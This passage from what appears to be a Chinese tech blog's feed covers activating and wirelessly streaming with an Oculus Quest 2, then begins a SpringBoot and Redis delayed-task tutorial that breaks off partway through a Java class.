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" alt="avatar"></p><p>4、手机连上共享出来的WIFI,试试该IP地址是否为V2节点的地址,或直接访问FB看看</p><p>5、最后如果一切正常,此时可以用oculus quest2连接此WIFI了,不管是激活、还是更新固件都没问题。</p><h1><span id="无线串流">无线串流</span></h1><p>如何5G WIFI无线串流玩STEAM VR游戏? 有两种方式:</p><p><strong>付费方式:</strong>virual desktop + oculus sidequest ,其中virual desktop需要付费购买,virual desktop请使用sidequest安装</p><p><strong>免费方式:</strong> PC和VR端都安装ALVR,由于最近GITHUB被墙不方便直接给地址了,可以自行上GITHUB搜索 ALVR ,PC和VR安装好ALVR以及STEAM VR后就可以开始无线串流了。</p><p><strong>一些注意点:</strong></p><ul><li><p>如果ALVR无法检测到VR,可以先安装Oculus Home,也就是PC端的Oculus商店</p></li><li><p>ALVR连接成功后你会发现VR界面中的STEAM库是没有游戏的,不用管直接STEAM添加本地游戏然后启动即可</p></li><li><p>记得两台设备都要连接5G WIFI</p></li></ul>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近上AMAZON买个台Oculus Quest2玩玩,前前后后折腾了整整一个星期才终于搞定激活问题!因此这在里写下记录希望后来的网友们少走弯路。</p>
<p>找了下网上的教程发现需要借助智能路由器,而我平时不怎么需要这个东西,就为了激活而买个路由器也不划算,因此我选择了笔记本共享热点的方式。</p>
<p><strong>说道Oculus quest2 我想先简单的评测下,先说说它的优点:</strong></p>
<ul>
<li><p>支持透视,找手柄时不用摘下头盔了</p>
</li>
<li><p>支持手势操作,简单的操作无需手柄了</p>
</li>
<li><p>最大的优势—–&gt;没有乱七八糟的线!比如PSVR就要插一堆线,每次看着这么多线就没有开启的动力了</p>
</li>
<li><p>一体机,即可以直接使用又可以WIFI串连电脑玩STEAM VR游戏!</p>
</li>
<li><p>AMAZON退税后约只需1900-2000左右(不要上TB买JS的)</p>
</li>
</ul>
<p><strong>再说说它的不足之处:</strong></p>
<ul>
<li><p>清晰度和PSVR相差不大,至少我的眼睛感觉没有明显差距</p>
</li>
<li><p>头戴的那个带子刮耳朵</p>
</li>
<li><p>一会儿要充电了</p>
</li>
<li><p>国内用户无法直接使用</p>
</li>
</ul>
<p>总体来说是目前VR里体验最好的了,不用插线实在是方便</p></summary>
<category term="其它" scheme="https://reiner.host/categories/%E5%85%B6%E5%AE%83/"/>
<category term="oculus" scheme="https://reiner.host/tags/oculus/"/>
<category term="oculusquest2" scheme="https://reiner.host/tags/oculusquest2/"/>
</entry>
<entry>
<title>SpringBoot中使用redis实现相对可靠的分布式定时任务,适用于订单场景</title>
<link href="https://reiner.host/posts/569a11d6.html"/>
<id>https://reiner.host/posts/569a11d6.html</id>
<published>2021-03-18T02:59:58.000Z</published>
<updated>2021-12-24T12:18:32.974Z</updated>
<content type="html"><![CDATA[<h1><span id="重要的前言">重要的前言</span></h1><p> 先说说为什么重复造轮子,当时的情况是只需要一个简单的延时任务,做到不丢失即可,引入分布式定时任务框架又觉得太重,因此手动造了个基于redis的简单可靠定时任务。</p><p>适用场景,此种做法在单机部署情况下是肯定没问题的,在分布式部署情况下可能会出现问题,比如同一个服务同时重启了,又刚好同时读取redis中的定时任务,还刚好就在那几十毫秒的情况下没有检测到redis锁,此时会导致任务重复读取。</p><p>因此,在定时任务的代码中需要容忍可能会出现重复执行的情况,一般做法是用订单状态判断,所以如果不是非常严格的场景,这套做法是够用了 (复杂的定时任务建议用QUARTZ)。</p><h1><span id="上代码">上代码</span></h1><p> 废话结束,接下来上代码,首先创建定时任务的实体类,保存定时任务执行时间、订单ID、订单类型等。</p><h4><span id="定时任务实体类">定时任务实体类</span></h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DelayedInfo</span> <span class="keyword">implements</span> <span class="title">Delayed</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> String orderId;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 任务类型(订单类型)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> Integer delayType;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 当前时间</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">long</span> 